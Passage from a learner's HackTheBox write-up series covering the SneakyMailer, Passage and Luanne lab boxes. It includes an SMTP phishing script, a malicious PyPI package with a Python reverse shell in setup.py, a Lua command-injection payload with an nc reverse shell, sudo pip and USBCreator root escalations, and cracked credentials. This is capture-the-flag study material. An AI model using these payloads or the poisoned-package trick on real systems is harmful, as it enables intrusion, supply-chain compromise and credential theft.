takeaway from this box is that I need to practice more boxes and improve my methodology.\n27.SneakyMailer Information gathering:\nhttp://sneakycorp.htb/index.php\nThis site revealed one useful detail.\nSomeone named Bradley Greer was a tester.\nThe boss was named Cara Stevens.\nIt also told us that work had been assigned and that we needed to check our email, and that pip was available. One open question was our username: it only referred to us as You.\nThis contained every team member\u0026rsquo;s email address and role.\nBradley Greer\u0026rsquo;s:\nThe boss Cara Stevens\u0026rsquo;s:\nAfter gathering this information, I checked each service. ftp did not allow anonymous login.\nSMTP accepted connections. We did not need to send mail yet, but I still checked everything.\nPort 8080 showed an nginx page. I started brute-forcing ports 80 and 8080, then examined imap on 143 and 993.\nBrute force revealed a registration page: http://sneakycorp.htb/pypi//register.php\nIt did nothing, so the attack clearly had to involve email.\nI first saved every email address and verified them.\nsmtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25\nThey all existed. My only apparent option was to brute-force 143.\nI used the collected email addresses and passwords gathered by cewl.\nIt found nothing.\nI kept searching for related vulnerabilities, thinking that perhaps I needed an exp. In practice, after a long time I still had nothing—not even a version number to match against.\nI was completely stuck and had no options, so I looked at a write-up.\nTo confirm that this really was the only path, I reviewed many write-ups describing this step. Without exception, they sent a link to every email address. The delivery methods differed, but the idea was always the same.\nSending email through smtp is extremely common, but it never occurred to me that I could phish users with a link and make them send their information back. I genuinely never imagined that.\nNow that I had the idea, I just needed to send the link.\nI constructed the payload.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/bin/bash { echo \u0026#34;helo smtp\u0026#34; while read i; do echo \u0026#34;Mail from:test@sneakymailer.htb\u0026#34; echo \u0026#34;Rcpt to:$i\u0026#34; echo \u0026#34;data\u0026#34; echo \u0026#34;subject:test\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;http://10.10.16.19:6789/\u0026#34; echo \u0026#34;.\u0026#34; done \u0026lt; user.txt echo \u0026#34;quit\u0026#34; } | nc sneakycorp.htb 25 Running it sent the messages.\nnc received a response.\nfirstName=Paul\u0026lastName=Byrd\u0026email=paulbyrd@sneakymailer.htb\u0026amp;password=^(#J@SkFv2[%KhIxKk(JuhqcHl\u0026lt;:Ht\u0026amp;rpassword=^(#J@SkFv2[%KhIxKk(JuhqcHl\u0026lt;:Ht\nftp would not connect.\nI started testing port 143, thinking imap should let me view the inbox.\nhttps://blog.csdn.net/hi_teotong/article/details/49635781\nThis post was very good.\nPort 143 did not work either.\nI checked 993 next.\nopenssl s_client -crlf -connect sneakycorp.htb:993\nThen I ran:\na001 LOGIN paulbyrd@sneakymailer.htb \u0026ldquo;^(#J@SkFv2[%KhIxKk(Ju`hqcHl\u0026lt;:Ht\u0026rdquo;\nThat still did not work.\nI tried a tool.\nhttps://www.cmdschool.org/archives/5449\nhttps://imap-cli.readthedocs.io/en/latest/installation.html\nImmediately after installation, it had a code error. I changed the code and got it running.\nBut it still produced an error.\nThe login failed, but I suspected it was using port 143 rather than 993.\nI still could not log in. I tried ssh as well, but that also failed.\nI was certain that, since I had an email address and password, the intended service was probably email. At the moment, however, my imap-cli did not work and could not specify a port or similar options.\nLater I found a program named evolution.\napt-get install evolution\nSimply install it, but do not run it as root or it will not open. It is a very straightforward program, yet there were no real tutorials online—only installation guides—so I had to work it out myself.\nNeither 993 nor 143 would accept the login. It kept failing.\nI never expected that the correct username would be paulbyrd. I had always included the full email address before.\nThen another problem appeared.\nThe issue was that when evolution was closed and reopened, it restarted kali, dropping every service. I then started openvpn again, which caused the system to hang. The real reason I could not reach the internal network was that the connection was gone.\nIt worked after a reboot. I simply had to avoid closing evolution again.\nI first tested with imapcli.\nI intentionally made the first account wrong.\nThe second account was correct and produced a different error, proving that the problem was with imapcli.\nNext I started evolution.\nIt held me up for a while after opening, but I finally got in.\nThere were two messages.\nThe first leaked information.\nHello administrator, I want to change this password for the developer account\nUsername: developer\nOriginal-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C\nPlease notify me when you do it\nI finally logged in to ftp. This password worked there.\nThe first thing I noticed was that this looked like a backup of the website—or perhaps the live web root itself. The earlier email said we needed to develop the contents of the pypi directory, so it was very likely a web directory. I could simply upload a shell.\nBut after uploading it, I could not access it, and it was deleted after a while. I tried uploading inside pypi, but that directory completely refused file uploads.\nFurther testing suggested that no directory accepted files except dev. Files uploaded there could not be accessed and were deleted.\nMy first thought was a race condition, so I tried it.\nIt did not work.\nI was stuck again. When I inspected the source files on ftp, they could not possibly be the files for the current site. At the very least, index.php differed from the live site\u0026rsquo;s version.\nThis content was completely absent, as were several other files.\nI could only interpret it as a backup. But if it was a backup, the configuration files should have contained something. They did not: these php files were pure html front-end code with nothing related to a backend.\nWith no way forward, I checked someone else\u0026rsquo;s write-up, which hinted at a subdomain. The path immediately became clear.\nffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H \u0026ldquo;HOST: FUZZ.sneakycorp.htb\u0026rdquo; -fs 185\nffuf could brute-force it perfectly.\nThe result was dev.sneakycorp.htb.\nI added it to hosts.\nSure enough, this matched the index.php I had just seen.\nThe dev directory had actually hinted at it too. In the future, I need to test subdomains with ffuf as soon as I obtain a domain, before moving on.\nI only needed to put the file and visit it.\nI finally obtained a shell.\nI started privilege escalation.\nThere were several files in the pypi.sneakycorp.htb directory.\nThe .htpasswd file contained pypi\u0026rsquo;s password hash, which needed to be cracked.\npackages could not be entered except by members of the pypi-pkg group.\nThe venv directory was only a virtual-environment configuration with basic files, so it was not very important. I considered the next step.\nThis was the group file. The pypi-pkg group included the pypi user.\npypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/\nThe objective was now clear: escalate to pypi and inspect the packages directory.\nhttps://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1\nAt first I did not know how to crack it. This post gave me the idea.\nI only needed to specify the file, with no extra operations. Eventually it cracked successfully.\nsoufianeelhaoui\nAs expected, pypi was configured with nologin, so I could not use su.\nI could not use su to switch to either user with a home directory because the passwords were wrong, and pypi could not log in to ftp either.\nI found pypi\u0026rsquo;s site on port 8080 and could access it after adding a hosts entry.\nIt reported pypiserver version 1.3.2, and the simple endpoint accepted logins, although there was nothing inside.\nIn other words, pypi was for uploading and maintaining python packages. But why were none of the described options available when I used it? If this was not a framework vulnerability, perhaps I could upload a malicious package. I could not set environment variables in my current context, but when another user imported the package it would cause RCE.\nI had no other ideas and could only assume this needed to be combined with another vulnerability.\nWhile searching, I noticed that the low user\u0026rsquo;s home contained a venv virtual environment and that we could install packages with pip. That suggested an idea: use pspy32 to see whether there was a scheduled python task. If so, installing a malicious package would escalate privileges.\nI eventually built a package and uploaded it successfully. I consulted many posts, but the two key ones were:\nhttps://blog.csdn.net/zjshui/article/details/107973601\tHow to upload to a private repository\nhttps://monsoir.github.io/Notes/Python/upload-pypi.html\tHow to build a python package\nHere are my files.\n1 2 3 4 5 6 7 . ├── README.md ├── jsonizer │ ├── __init__.py │ ├── jsonize.py ├── LICENSE.txt └── setup.py The directory structure was the one shown above, copied from a github project. You can choose any name for your own project.\nI named mine Reverse-Shell-1.1.1.\nSo I created a Reverse-Shell-1.1.1 directory.\nIt was naturally empty after creation. I entered it and, as required, created the two empty files README.md and LICENSE.txt inside Reverse-Shell-1.1.1.\nNext I created the jsonizer directory, entered it, and made init.py and jsonize.py. init.py could be empty, and so could jsonize.py, although I added an arbitrary print statement.\n1 2 3 4 5 6 . ├── README.md ├── jsonizer │ ├── __init__.py │ ├── jsonize.py ├── LICENSE.txt That was the current structure. Only setup.py remained.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from setuptools import setup, find_packages setup( name=\u0026#39;Reverse-Shell\u0026#39;, version=\u0026#39;1.1.1\u0026#39;, keywords=[\u0026#39;Safari\u0026#39;, \u0026#39;Bookmarks\u0026#39;, \u0026#39;JSON\u0026#39;, \u0026#39;Monsoir\u0026#39;], description=\u0026#39;transform Safari bookmarks export to JSON file\u0026#39;, license=\u0026#39;MIT License\u0026#39;, url=\u0026#39;https://github.com/Monsoir/safari-bookmarks-jsonizer\u0026#39;, author=\u0026#39;Monsoir\u0026#39;, author_email=\u0026#39;monwingyeung@gmail.com\u0026#39;, packages=find_packages(), include_package_data=False, platforms=[\u0026#34;any\u0026#34;], install_requires=[\u0026#39;beautifulsoup4\u0026#39;], python_requires=\u0026#39;\u0026gt;3.0\u0026#39;, entry_points={ \u0026#39;console_scripts\u0026#39;: [ \u0026#39;jsonize = jsonizer.jsonize:main\u0026#39;, ] } ) That completed it. The jsonizer directory did not actually seem necessary. Even if it was, at most it needed an empty py file for the constructor. The package above was recognized, so I left it alone and ran:\n1 python setup.py sdist This created a new dist directory in the current directory, containing the packaged tar.gz file. The following command uploaded it.\nThe final argument meant to upload the files under dist.\npython -m twine upload \u0026ndash;repository-url http://pypi.sneakycorp.htb:8080/ dist/*\nBut the package disappeared soon after being uploaded.\nRemember the pspy32 I uploaded earlier? It was still running on another port.\nThat revealed the key detail. The low user extracted the tar archive, ran setup.py with python to install it, and then uninstalled it. The purpose was to test the package. No wonder this user\u0026rsquo;s home contained many packages and a venv virtual environment.\nAs I understood it, changing setup.py to contain reverse-shell code would return a shell.\nThe path was now completely clear. I extracted the tar archive from dist.\nI modified setup.py and added python reverse-shell code at the beginning.\n1 2 3 4 5 6 7 import socket import subprocess import pty s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((\u0026#34;10.10.16.19\u0026#34;, 6789)) s_dup = s.fileno() subprocess.call([\u0026#34;/bin/sh\u0026#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup) Then I repackaged and uploaded it.\nI got a shell and continued with privilege escalation.\nsudo -l showed a command. I could simply search for it.\n1 2 3 4 5 6 Sudo If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. TF=$(mktemp -d) echo \u0026#34;import os; os.execl(\u0026#39;/bin/sh\u0026#39;, \u0026#39;sh\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;sh \u0026lt;$(tty) \u0026gt;$(tty) 2\u0026gt;$(tty)\u0026#39;)\u0026#34; \u0026gt; $TF/setup.py sudo pip install $TF Following the method above escalated directly to root.\nDone!\nI can only say that this was the hardest box I had completed so far, without exception. It felt like sitting an exam. Including breaks, I spent around 20 hours on it and ended up light-headed. I checked a write-up twice. The first time was because I did not realize I could phish information simply by sending links to other email addresses. That possibility never occurred to me, although the box actually provided many hints. The second time was for the dev subdomain, which genuinely was my mistake. From now on, I will brute-force subdomains before starting each box.\nI learned a great deal and spent the entire time searching google. Asking chatgpt would often have produced better ideas, but oscp does not allow it, so I searched through a huge number of posts.\nThis box had an imap service, which I had never used. I installed many programs, none of which worked, and remained stuck until I finally found usable software. Then there was pypi, also my first encounter with it, so naturally it took a long time to learn. Most of my time went into learning pypi. I gained a lot from this box and can already feel the difficulty increasing.\nThe 2022 hackthebox linux list has 50 boxes intended for oscp practice. I have now completed 27. After finishing these, I will move on to windows boxes. Once the 2022 list is complete, I will do the newest boxes, followed by oscplabs.\n28.Passage Information gathering:\nPort 22 revealed nothing, while any brute force against port 80 immediately resulted in a ban.\nhttp://10.10.10.206/index.php?id=11\nThis article explained it.\nExcessive access would be blocked for two minutes.\nDirectory brute-forcing and similar techniques were unusable. I had two ideas.\nThe first was to brute-force the site slowly, using a wordlist generated by cewl.\nThe second was to test http://10.10.10.206/index.php?id=11 for sql injection.\ncewl http://10.10.10.206/index.php -w dict.txt\nffuf -w ./dict.txt -u http://10.10.10.206/FUZZ -t 1\nI set the thread count to 1 to avoid being banned.\nBefore discovering the ban behavior, directory brute force had found new.php.\nAfter running cewl against the home page, I identified CuteNews. There were also 11 posts, so each one needed to be crawled to build a directory-brute-force list.\nThe domain:\nI opened another page here to brute-force subdomains.\nThe page above also revealed the version: CuteNews 2.1.2.\nI found the final exp.\nI briefly reviewed how it worked.\nIt registered an account and then sent the payload. All I had to do was run it and enter the url. It was extremely simple.\nI never imagined it would be that easy.\nA shell came back.\nI started privilege escalation.\nThese configuration files contained nothing. I searched google for the database configuration location.\nhttps://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql\nI did find these two files, but they contained nothing.\nlinenum found many things.\nIt was clearly started by root.\nRegardless, I first tried cracking these.\n1 2 3 4 /usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.\t#foo /usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/\t#password Only two cracked.\nAccording to the explanation, the other hashes were not meant to be cracked. They were combined with site-specific elements to generate new hashes that served as credentials.\nI abandoned this for the moment and returned my attention to the website, because my searches kept saying:\nIt used flat files for storage. Every post I found said the same thing: there was no database, and all data was stored in txt and similar files. Yet the exp clearly created a user, and that user did not appear in either of the two files just mentioned. That made no sense.\nSearching for txt files revealed two users.txt files.\nUnfortunately, neither contained anything useful. Digging further through the directories eventually revealed an important detail.\n/var/www/html/CuteNews/cdata/users/lines\nI wrote a script and obtained the results.\nb\u0026rsquo;a:1:{s:5:\u0026ldquo;email\u0026rdquo;;a:1:{s:16:\u0026ldquo;paul@passage.htb\u0026rdquo;;s:10:\u0026ldquo;paul-coles\u0026rdquo;;}}\u0026rsquo; b\u0026rsquo;a:1:{s:2:\u0026ldquo;id\u0026rdquo;;a:1:{i:1598829833;s:6:\u0026ldquo;egre55\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:5:\u0026ldquo;email\u0026rdquo;;a:1:{s:15:\u0026ldquo;egre55@test.com\u0026rdquo;;s:6:\u0026ldquo;egre55\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:4:\u0026ldquo;name\u0026rdquo;;a:1:{s:5:\u0026ldquo;admin\u0026rdquo;;a:8:{s:2:\u0026ldquo;id\u0026rdquo;;s:10:\u0026ldquo;1592483047\u0026rdquo;;s:4:\u0026ldquo;name\u0026rdquo;;s:5:\u0026ldquo;admin\u0026rdquo;;s:3:\u0026ldquo;acl\u0026rdquo;;s:1:\u0026ldquo;1\u0026rdquo;;s:5:\u0026ldquo;email\u0026rdquo;;s:17:\u0026ldquo;nadav@passage.htb\u0026rdquo;;s:4:\u0026ldquo;pass\u0026rdquo;;s:64:\u0026ldquo;7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1\u0026rdquo;;s:3:\u0026ldquo;lts\u0026rdquo;;s:10:\u0026ldquo;1592487988\u0026rdquo;;s:3:\u0026ldquo;ban\u0026rdquo;;s:1:\u0026ldquo;0\u0026rdquo;;s:3:\u0026ldquo;cnt\u0026rdquo;;s:1:\u0026ldquo;2\u0026rdquo;;}}}' b\u0026rsquo;a:1:{s:2:\u0026ldquo;id\u0026rdquo;;a:1:{i:1592483281;s:9:\u0026ldquo;sid-meier\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:5:\u0026ldquo;email\u0026rdquo;;a:1:{s:17:\u0026ldquo;nadav@passage.htb\u0026rdquo;;s:5:\u0026ldquo;admin\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:5:\u0026ldquo;email\u0026rdquo;;a:1:{s:15:\u0026ldquo;kim@example.com\u0026rdquo;;s:9:\u0026ldquo;kim-swift\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:2:\u0026ldquo;id\u0026rdquo;;a:1:{i:1592483236;s:10:\u0026ldquo;paul-coles\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:4:\u0026ldquo;name\u0026rdquo;;a:1:{s:9:\u0026ldquo;sid-meier\u0026rdquo;;a:9:{s:2:\u0026ldquo;id\u0026rdquo;;s:10:\u0026ldquo;1592483281\u0026rdquo;;s:4:\u0026ldquo;name\u0026rdquo;;s:9:\u0026ldquo;sid-meier\u0026rdquo;;s:3:\u0026ldquo;acl\u0026rdquo;;s:1:\u0026ldquo;3\u0026rdquo;;s:5:\u0026ldquo;email\u0026rdquo;;s:15:\u0026ldquo;sid@example.com\u0026rdquo;;s:4:\u0026ldquo;nick\u0026rdquo;;s:9:\u0026ldquo;Sid Meier\u0026rdquo;;s:4:\u0026ldquo;pass\u0026rdquo;;s:64:\u0026ldquo;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88\u0026rdquo;;s:3:\u0026ldquo;lts\u0026rdquo;;s:10:\u0026ldquo;1592485645\u0026rdquo;;s:3:\u0026ldquo;ban\u0026rdquo;;s:1:\u0026ldquo;0\u0026rdquo;;s:3:\u0026ldquo;cnt\u0026rdquo;;s:1:\u0026ldquo;2\u0026rdquo;;}}}' b\u0026rsquo;a:1:{s:2:\u0026ldquo;id\u0026rdquo;;a:1:{i:1592483047;s:5:\u0026ldquo;admin\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:5:\u0026ldquo;email\u0026rdquo;;a:1:{s:15:\u0026ldquo;sid@example.com\u0026rdquo;;s:9:\u0026ldquo;sid-meier\u0026rdquo;;}}' b\u0026rsquo;a:1:{s:4:\u0026ldquo;name\u0026rdquo;;a:1:{s:10:\u0026ldquo;paul-coles\u0026rdquo;;a:9:{s:2:\u0026ldquo;id\u0026rdquo;;s:10:\u0026ldquo;1592483236\u0026rdquo;;s:4:\u0026ldquo;name\u0026rdquo;;s:10:\u0026ldquo;paul-coles\u0026rdquo;;s:3:\u0026ldquo;acl\u0026rdquo;;s:1:\u0026ldquo;2\u0026rdquo;;s:5:\u0026ldquo;email\u0026rdquo;;s:16:\u0026ldquo;paul@passage.htb\u0026rdquo;;s:4:\u0026ldquo;nick\u0026rdquo;;s:10:\u0026ldquo;Paul Coles\u0026rdquo;;s:4:\u0026ldquo;pass\u0026rdquo;;s:64:\u0026ldquo;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd\u0026rdquo;;s:3:\u0026ldquo;lts\u0026rdquo;;s:10:\u0026ldquo;1592485556\u0026rdquo;;s:3:\u0026ldquo;ban\u0026rdquo;;s:1:\u0026ldquo;0\u0026rdquo;;s:3:\u0026ldquo;cnt\u0026rdquo;;s:1:\u0026ldquo;2\u0026rdquo;;}}}' b\u0026rsquo;a:1:{s:4:\u0026ldquo;name\u0026rdquo;;a:1:{s:9:\u0026ldquo;kim-swift\u0026rdquo;;a:9:{s:2:\u0026ldquo;id\u0026rdquo;;s:10:\u0026ldquo;1592483309\u0026rdquo;;s:4:\u0026ldquo;name\u0026rdquo;;s:9:\u0026ldquo;kim-swift\u0026rdquo;;s:3:\u0026ldquo;acl\u0026rdquo;;s:1:\u0026ldquo;3\u0026rdquo;;s:5:\u0026ldquo;email\u0026rdquo;;s:15:\u0026ldquo;kim@example.com\u0026rdquo;;s:4:\u0026ldquo;nick\u0026rdquo;;s:9:\u0026ldquo;Kim Swift\u0026rdquo;;s:4:\u0026ldquo;pass\u0026rdquo;;s:64:\u0026ldquo;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca\u0026rdquo;;s:3:\u0026ldquo;lts\u0026rdquo;;s:10:\u0026ldquo;1592487096\u0026rdquo;;s:3:\u0026ldquo;ban\u0026rdquo;;s:1:\u0026ldquo;0\u0026rdquo;;s:3:\u0026ldquo;cnt\u0026rdquo;;s:1:\u0026ldquo;3\u0026rdquo;;}}}' b\u0026rsquo;a:1:{s:4:\u0026ldquo;name\u0026rdquo;;a:1:{s:6:\u0026ldquo;egre55\u0026rdquo;;a:11:{s:2:\u0026ldquo;id\u0026rdquo;;s:10:\u0026ldquo;1598829833\u0026rdquo;;s:4:\u0026ldquo;name\u0026rdquo;;s:6:\u0026ldquo;egre55\u0026rdquo;;s:3:\u0026ldquo;acl\u0026rdquo;;s:1:\u0026ldquo;4\u0026rdquo;;s:5:\u0026ldquo;email\u0026rdquo;;s:15:\u0026ldquo;egre55@test.com\u0026rdquo;;s:4:\u0026ldquo;nick\u0026rdquo;;s:6:\u0026ldquo;egre55\u0026rdquo;;s:4:\u0026ldquo;pass\u0026rdquo;;s:64:\u0026ldquo;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc\u0026rdquo;;s:4:\u0026ldquo;more\u0026rdquo;;s:60:\u0026ldquo;YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==\u0026quot;;s:3:\u0026ldquo;lts\u0026rdquo;;s:10:\u0026ldquo;1598834079\u0026rdquo;;s:3:\u0026ldquo;ban\u0026rdquo;;s:1:\u0026ldquo;0\u0026rdquo;;s:6:\u0026ldquo;avatar\u0026rdquo;;s:26:\u0026ldquo;avatar_egre55_spwvgujw.php\u0026rdquo;;s:6:\u0026ldquo;e-hide\u0026rdquo;;s:0:\u0026rdquo;\u0026quot;;}}}' b\u0026rsquo;a:1:{s:2:\u0026ldquo;id\u0026rdquo;;a:1:{i:1592483309;s:9:\u0026ldquo;kim-swift\u0026rdquo;;}}'\nI organized the results.\nnadav@passage.htb 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1\nsid@example.com\t4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88\npaul@passage.htb\te26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd\nkim@example.com\tf669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca\negre55@test.com\t4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc\nThe password for paul@passage.htb was atlanta1.\nThe password for egre55@test.com was egre55.\nThe others did not crack with rockyou, and online sites had no results either.\nI successfully escalated to paul.\npaul\u0026rsquo;s private key was under .ssh. I extracted it and prepared to connect over ssh.\nBut while examining the public key, I noticed that the user at the end was not paul.\nThey apparently used the same key pair.\nI continued with privilege escalation.\nfind / -group dip -not -path \u0026ldquo;/proc/*\u0026rdquo; 2\u0026gt;/dev/null\nI did not find much belonging to the group.\nNotably, nadav belonged to the sudo group, meaning he could run sudo. This differed from paul.\nBut sudo -l required a password. My current plan was therefore to find it. I searched everything and found no password at all.\nI began looking at suid files and found something unfamiliar.\n/bin/ntfs-3g\tI searched for a privilege-escalation method.\nIt errored, so I investigated the cause.\nThe errors mainly occurred at the final two points. I kept searching for vulnerabilities and found a very good post.\nhttps://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca\u0026amp;u_asig=0a472f9117302920303012094e00b0\nIt suggested using:\nhttps://www.exploit-db.com/exploits/41356\nhttps://project-zero.issues.chromium.org/issues/42450079\none of the two exps above. That was correct. I tried both, but each produced:\nThis path clearly did not work.\nI had no ideas afterward, so I inspected the home directories again. Earlier I had focused only on passwords and missed this.\nThis was not a conventional configuration file. I started searching for related vulnerabilities.\nhttps://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/\nThe bottom of this page explained how to use it. Perhaps my search method was flawed, because this was the only article I found that actually showed the procedure, all the way at the bottom.\nOnce I had a command, I searched google for \u0026ldquo;gdbus call \u0026ndash;system \u0026ndash;dest com.ubuntu.USBCreator\u0026rdquo;.\nThat led to this site:\nhttps://kashz.gitbook.io/kashz-jewels/services/usbcreator\nIts commands were very detailed. I assembled the command:\ngdbus call \u0026ndash;system \u0026ndash;dest com.ubuntu.USBCreator \u0026ndash;object-path /com/ubuntu/USBCreator \u0026ndash;method com.ubuntu.USBCreator.Image \u0026lsquo;/root/root.txt\u0026rsquo; \u0026lsquo;/tmp/1111.txt\u0026rsquo; true\nI obtained the flag, but I still wanted a proper privilege escalation. Since I could write arbitrary files:\ngdbus call \u0026ndash;system \u0026ndash;dest com.ubuntu.USBCreator \u0026ndash;object-path /com/ubuntu/USBCreator \u0026ndash;method com.ubuntu.USBCreator.Image \u0026lsquo;/home/nadav/.ssh/authorized_keys\u0026rsquo; \u0026lsquo;/root/.ssh/authorized_keys\u0026rsquo; true\nDone.\nThis box was quite different from the earlier ones. The privilege-escalation methods in the later boxes are becoming increasingly varied, so I simply need to practice more of them.\n29.Luanne Information gathering:\nhttp://10.10.10.218/ required a login, so I brute-forced it first.\nThe request returned 404, so I continued brute-forcing.\nVisiting it showed that this was a weather endpoint with a lua backend.\nI consulted several articles. Since the backend was written in lua, command injection might be present.\nhttps://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/\nhttps://gtfobins.github.io/gtfobins/lua/\nTesting showed that commands could not be executed directly. It only returned the supplied input. A single quote produced an error, while most other inputs did not.\nI checked the language documentation. The code might have been written this way: close the value with \u0026lsquo;, then use \u0026lsquo;; to execute another command. Since the output here was only a string, closing the preceding expression would let me append a command.\nThat did not work in practice, so I kept trying. The closing syntax was probably wrong. This sort of command injection also required commenting out the trailing code so it would not interfere with mine.\nAfter a long search I found the correct closing syntax. The \u0026rsquo; was definitely relevant or it would not have caused an error, but a lone \u0026rsquo; did not work. After many more attempts, \u0026lsquo;) succeeded.\nhttp://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)\u0026ndash;+os.execute(%22id%22)\u0026ndash;+)\nI then tried many times to get a reverse shell, without success. nc worked, but could not establish a shell connection.\nI suspected the shell might be wrong. Testing showed that the current user\u0026rsquo;s shell was /bin/sh, yet it still would not connect back. I put the reverse shell aside and inspected other files first.\nThere was a .htpasswd in the current directory.\nIt cracked to webapi_user:iamthebest.\nPort 22 still did not work.\nNeither did 9001.\nThere was no /etc/passwd entry, meaning this was only a website account. Then I remembered that port 80 also had a login page.\nIt turned out to be the same thing as before, with no meaningful difference.\nThere were very few entry points left: a url where the reverse shell did not work, and an unknown website on 9001.\nThe lua reverse shell was also missing a library.\n\u0026lsquo;) os.execute(\u0026ldquo;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.16.21 6666 \u0026gt;/tmp/f\u0026rdquo;) \u0026ndash;+\nhttp://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b\nIt finally worked. This was absurd: sh could not find the command without an explicit path. It also seemed that Burp Suite\u0026rsquo;s URL encoding added an extra carriage return, or something similar.\nNothing worked for ages. It felt like superstition.\nAs an aside, I had a bad feeling from the moment I saw the rating.\nI started privilege escalation.\nI could not get a tty.\nI tried many privilege-escalation checks, but a lot of familiar tools seemed to be missing. I searched for NetBSD 9.0.\nIts commands appeared somewhat different from ordinary linux commands.\nLocal ports 3000 and 3001 were listening.\nAuthentication was easy. I had credentials from above that worked on the weather endpoint. I had seen this authentication scheme many times; tomcat is a classic example.\ncurl http://127.0.0.1:3000 -H \u0026ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==\u0026rdquo;\ncurl http://127.0.0.1:3001 -H \u0026ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==\u0026rdquo;\nPorts 3000 and 3001 appeared to serve the same thing.\nI had an idea: the two services were identical, but perhaps they had been started by different users. I knew very little about bsd commands, so I searched google as best I could for “how to see which user opened a port on bsd.”\nBoth were present, so I tried them. I already had the exp anyway.\ncurl \u0026ldquo;http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b\u0026rdquo; -H \u0026ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==\u0026rdquo;\nPort 3000 worked and returned a shell, while 3001 did not.\nI tried many methods but could not map pids to ports.\nnetstat -an\nsockstat -4l\nNeither helped, and I had no other methods left.\nAt this point I genuinely could not continue. The only option was to build a tunnel and test the service, but that did not seem likely to help.\nWith no way forward, I glanced at a write-up.\nIt hinted that the r.michaels directory could be accessed through the website. Apparently this was a backup service.\nI never would have thought of that. Perhaps there was a problem with my procedure, because I had no way to determine whether 3001 corresponded to the r.michaels user.\nThe write-ups found it through directory brute-forcing. My wordlist certainly would not have contained these values, and I would never have thought to build one from distinctive strings in files such as home and passwd. That did not feel like a systematic approach. Perhaps my commands were still wrong. After finishing, I planned to ask GPT whether there was a way to map a port and process to the corresponding user and files.\ncurl \u0026ldquo;http://127.0.0.1:3001/~r.michaels/id_rsa\u0026rdquo; -H \u0026ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==\u0026rdquo;\nFound it.\nThis was very strange. Apparently ~ traversed into the r.michaels directory, requiring only that the current user be r.michaels, a member of users, or root. I did not know that a service started by python could allow this kind of traversal. In any case, it was a very strange thing to try.\nIt worked.\nThere was a backup file. I transferred it to kali. The enc file was encrypted, so I needed to determine how to encrypt and decrypt it while also checking the other directories.\nI became stuck again and could not decrypt it at all. It looked as though I needed to identify the encryption type and find a key, but I had no idea where the key was. I checked a write-up again.\nA single command solved it.\nnetpgp \u0026ndash;decrypt 